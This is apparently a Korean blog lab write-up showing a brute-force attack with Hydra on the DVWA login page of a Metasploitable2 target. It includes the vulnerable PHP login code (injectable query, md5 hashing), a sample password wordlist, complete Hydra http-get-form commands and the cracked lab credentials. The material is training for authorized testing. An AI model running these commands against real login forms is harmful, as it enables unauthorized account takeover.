웹 해킹 & 보안

[웹 모의해킹] Brute Force1 - 무차별 대입 공격 실습 (Hydra)

ahhyun98 2025. 5. 29. 16:21

 

이번 실습은 DVWA에서 제공하는 Brute Force 취약점을 대상으로 Hydra 도구를 활용해 무차별 대입 공격 (Brute Force Attack)을 수행하였다. Metasploitable2 환경에서 DVWA를 설정하고, Kali Linux에서 공격을 진행하였다. 


1. 실습 환경 

 

 

 

  • 공격자 : Kali Linux
  • Target : Metasploitable2 (DVWA 설치)
  • 공격 도구 : Hydra
  • DVWA 주소 : http://target_ip/dvwa/vulnerabilities/brute/
  • DVWA 보안 레벨 : low

2.  [Step 1] DVWA의 Brute Force 취약점 분석

 

관련 소스 코드 확인

Target 서버에 접근하여 로그인 로직이 있는 PHP 코드를 확인하였다. 

if( isset( $_GET['Login'] ) ) {
    $user = $_GET['username'];
    $pass = $_GET['password'];
    $pass = md5($pass);
    $qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
    $result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

    if( $result && mysql_num_rows( $result ) == 1 ) {
        $i=0;
        $avatar = mysql_result( $result, $i, "avatar" );
        echo "<p>Welcome to the password protected area " . $user . "</p>";
        echo '<img src="' . $avatar . '" />';
    } else {
        echo "<pre><br>Username and/or password incorrect.</pre>";
    }

    mysql_close();
}

 

=> 로그인 시 password 값은 md5()로 해싱되어 비교되므로, 이를 고려한 접근이 필요하다. 


3. [Step 2] 공격 대상 디렉터리 구조 확인

 

vncviewer target_ip 주소

 


3. [Step 3] 비밀번호 사전 파일 구성

공격에 사용할 비밀번호 리스트 (passwords.txt)github에서 passwords 리스트를 들고 와서 다음과 같이 구성하였다. 

 

 

=> 사진의 passwords는 일부만 캡처한 사진이다. 

tivonpw
tj1234
tlah
tmp123
tokiohotel
tomcat
tommy
tony
toor
tootsite
topgun
toplayer
topsecret
toptop
tornado
torres
toshy99
admin
totototo
touchpwd=
tour
toyota
tr650
password
...

 

 


4. [Step 4] Hydra를 이용한 공격 수행

 

Hydra

Hydra다양한 네트워크 서비스를 대상으로 무차별 대입 공격 (Brute Force Attack)을 수행할 수 있는 강력한 도구이다.

HTTP, FTP, SSH, RDP 등 수십 가지 프로토콜을 지원하며, 사용자명 및 비밀번호 조합을 빠르게 테스트할 수 있다. 

 

 

 

단일 사용자 (admin)에 대한 공격

hydra -l admin -P passwords.txt \
"http-get-form://xxx.xxx.xxx.xxx/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie:security=low;PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:F=Username and/or password incorrect." -V
  • -l admin : 고정 사용자 이름 설정
  • -P passwords.txt : 비밀번호 사전 파일 지정
  • http-get-form://... : 대상 웹 로그인 폼 URL
  • H= : 쿠키 설정 (보안 레벨 low + 세션 유지)
  • F= : 실패 메세지를 기준으로 성공 여부 판단
  • -V : 상세한 진행 상황 출력

결과 출력

[80][http-get-form] host: 192.168.248.139   login: admin   password: password
 1 of 1 target successfully completed, 1 valid password found

 

=> admin 계정의 유효한 비밀번호로 password가 탐지되었다. 


5. [Step 5] 사용자 리스트 기반 무차별 대입 공격

앞서 /var/www/dvwa/hackable/users/ 경로에서 아래와 같은 사용자 계정을 확인하였다. 

admin
pablo
gordonb
smithy
1337

 

위 계정들을 username.txt 파일로 저장하고, 

이전에 구성한 passwords.txt 파일과 함께 전체 사용자에 대한 Brute Force 공격을 수행하였다. 

 

 

사용자 리스트 + 비밀번호 리스트 조합 공격

hydra -L username.txt -P passwords.txt \
"http-get-form://xxx.xxx.xxx.xxx/dvwa/vulnerabilities/brute/index.php:username=^USER^&password=^PASS^&Login=Login:H=Cookie:security=low;PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:F=Username and/or password incorrect." -V
  • -L username.txt : 사용자 계정 리스트 파일
  • -P passwords.txt : 비밀번호 리스트 파일
  • 그 외 옵션은 [Step 4]와 동일

공격 결과

Hydra는 다음과 같은 유효한 로그인 조합을 탐지하였다. 

[80][http-get-form] host: xxx.xxx.xxx.xxx   login: admin     password: password
[80][http-get-form] host: xxx.xxx.xxx.xxx   login: pablo     password: letmein
[80][http-get-form] host: xxx.xxx.xxx.xxx   login: gordonb   password: abc123
[80][http-get-form] host: xxx.xxx.xxx.xxx   login: smithy    password: password

 

=> 1337 계정은 비밀번호 리스트 내에 일치하는 값이 없어 실패하였다. 


6. 자리 표시자 정리

Hydra 명령어에서 사용된 주요 자리 표시자는 다음과 같다

자리표시자 설명
^USER^ 사용자명
^PASS^ 비밀번호
^HOST^ 대상 IP
^COOKIE^ 세션 쿠키 값
^FORM^ 로그인 폼 파라미터
F= 실패 시 출력되는 문구

7. 마무리

  • Hydra 도구를 통해 단일 사용자(admin) 또는 사용자 리스트 전체에 대해 무차별 대입 공격이 가능함을 확인하였다. 
  • 공격 대상 페이지의 소스 코드를 통해 md5()로 해시된 비밀번호를 사용하는 것을 확인했고, 이는 보안상 매우 취약한 구조임을 실습을 통해 체감할 수 있었다. 
  • F= 파라미터를 통해 로그인 실패 문구를 기준으로 Hydra가 성공/ 실패를 자동 판별하는 방식도 이해하였다. 
  • 실제 환경에서는 계정 잠금, 캡챠, 타임 딜레이 등의 방어 기능이 존재하므로 이를 우회하거나 우회 가능 여부를 분석하는 능력도 중요하다는 것을 깨달을 수 있었다. 

 

 

 

이 블로그는 불법 해킹 및 악의적인 활동을 지양하며, 그런 행위는 절대 권장하지 않습니다.

모든 실습은 허가된 환경에서만 진행해야 하며, 법적 책임은 사용자 본인에게 있습니다.